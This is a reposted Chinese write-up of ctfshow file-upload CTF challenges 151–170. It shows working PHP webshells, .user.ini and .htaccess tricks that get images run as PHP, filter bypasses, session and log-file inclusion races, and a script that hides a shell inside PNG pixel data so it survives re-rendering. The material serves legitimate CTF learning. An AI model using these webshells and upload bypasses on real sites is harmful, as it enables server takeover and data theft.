【原创】ctfshow—web文件上传

admin 2022年12月3日16:32:20评论12 views字数 2657阅读8分51秒阅读模式

[huayang]

web151——152

写入一句话改为png格式

<?php
@eval(@$_POST['g']);
?>

上传并抓包并改包

【原创】ctfshow—web文件上传
【原创】ctfshow—web文件上传

连接蚁剑

【原创】ctfshow—web文件上传

web153

此题过滤了php后缀

首先创建一个.user.ini

GIF89a
auto_prepend_file=a.php

再创建一个a.png

<?php eval($_GET['a']);

上传抓包并改包

【原创】ctfshow—web文件上传
/upload/?a=system('nl ../flag.php');
【原创】ctfshow—web文件上传

web154

这次过滤了php,所以为什么非要写php呢

注意

这题更新过原本可以不用写php现在则需要大小写绕过

a.png

<?PHP eval($_GET['a']);

ini文件不变,抓包改包

/upload/?a=system('nl ../flag.php');
【原创】ctfshow—web文件上传

web155

这题直接正则了php所以直接去掉

a.php

<? eval($_GET['a']);

ini文件不变,抓包改包

/upload/?a=system('nl ../flag.php');
【原创】ctfshow—web文件上传

web156

这题过滤了中括号

用大括号绕过即可

a.png

<? eval($_GET{'a'});

ini文件不变,抓包改包

/upload/?a=system('nl ../flag.php');
【原创】ctfshow—web文件上传

web157-159

过滤了[]{}和;

我们可以用echo加反引号进行执行

;则可以用?>进行标记

a.png

<?echo `nl ../flag.ph\p`?>

配置文件不变

依旧抓包改包

直接访问即可

http://42c6a89d-65ce-47e6-b1d2-3480d28708d7.chall.ctf.show/upload
【原创】ctfshow—web文件上传

web160

感谢评论区的师傅给出解题方法

使用session即可解出,详情参照https://hellohy.top/huayang/1190.htmlweb82-86

1.上传.user.ini文件并包含a.png

2.上传a.png并包含session文件

3. 上传session进行包含利用

4.访问/upload/通过条件竞争即可得出flag

可能真正的图片文件也无法上传,因为过滤了php的

所以只要上传文件类内容不带php的即可

.user.ini

GIF89a
auto_prepend_file=a.png

a.png

<?=include"/tmp/sess_flag"?>
【原创】ctfshow—web文件上传
【原创】ctfshow—web文件上传
【原创】ctfshow—web文件上传

web161

a.pngt添加个文件头即可

GIF89a
<?=include"/tmp/sess_flag"?>

web162

过滤了点和flag

.user.ini

GIF89a
auto_prepend_file=png

a.png改为png

png

GIF89a
<?=include"/tmp/sess_fl0g"?>
【原创】ctfshow—web文件上传

web163

出了出了终于出了

和162差不多,多出一个条件竞争和过滤了cat(貌似,这个我没出来)

session改一下

【原创】ctfshow—web文件上传

把session和/upload/一直开启访问

千万别一直上传png

千万别一直上传png

千万别一直上传png

会报403的,我就进了之个坑

上面两个开启后再上传png就可以啦

【原创】ctfshow—web文件上传
【原创】ctfshow—web文件上传

这个长度

web164

考察png二次渲染

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */
?>

运行脚本会在此目录生成一个2.png文件

上传此文件

再跑一下即可

import re
import requests
url = 'http://157767b5-cec3-4668-a015-385c69042193.chall.ctf.show/download.php?image=fb5c81ed3a220004b71069645f112867.png&0=system'
r = requests.post(url,data={'1':'cat flag.php'})
flag = re.findall('.*?flag(.*?)}',r.text,re.S)
for i in flag:
    print(i+'}')
【原创】ctfshow—web文件上传

web165

二次渲染jpg

参考

https://www.fujieace.com/penetration-test/upload-labs-pass-16.html

此题对图片的要求极大

建议脸黑勿做

web166

只能上传压缩包文件

a.zip

<?php eval($_POST[a]);?>
 ZIP的: application/x-zip-compressed
RAR的: application/octet-stream
【原创】ctfshow—web文件上传

注意这后面不能留空格

测试一下

【原创】ctfshow—web文件上传

直接上蚁剑

【原创】ctfshow—web文件上传
【原创】ctfshow—web文件上传

web167

【原创】ctfshow—web文件上传

只能传jpg

2.jpg

AddType application/x-httpd-php .jpg

改为如下

【原创】ctfshow—web文件上传

2.jpg

GIF89a
<?php eval($_POST[a]);?>
【原创】ctfshow—web文件上传
【原创】ctfshow—web文件上传

web168

【原创】ctfshow—web文件上传
【原创】ctfshow—web文件上传

边上传就边访问

web169-170

只能传zip

【原创】ctfshow—web文件上传

线上传.user.ini文件包含日志文件

auto_prepend_file="/var/log/nginx/access.log"

改文件类型为image/png

【原创】ctfshow—web文件上传

然后再上传一个a.php文件,就把名字改为a.php就行了

访问url/upload/a.php

写入一句话

<?php system('cat ../f*');?>
【原创】ctfshow—web文件上传
【原创】ctfshow—web文件上传

[/huayang]

FROM:浅浅淡淡[hellohy]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月3日16:32:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【原创】ctfshow—web文件上传http://cn-sec.com/archives/1443205.html

发表评论

匿名网友 填写信息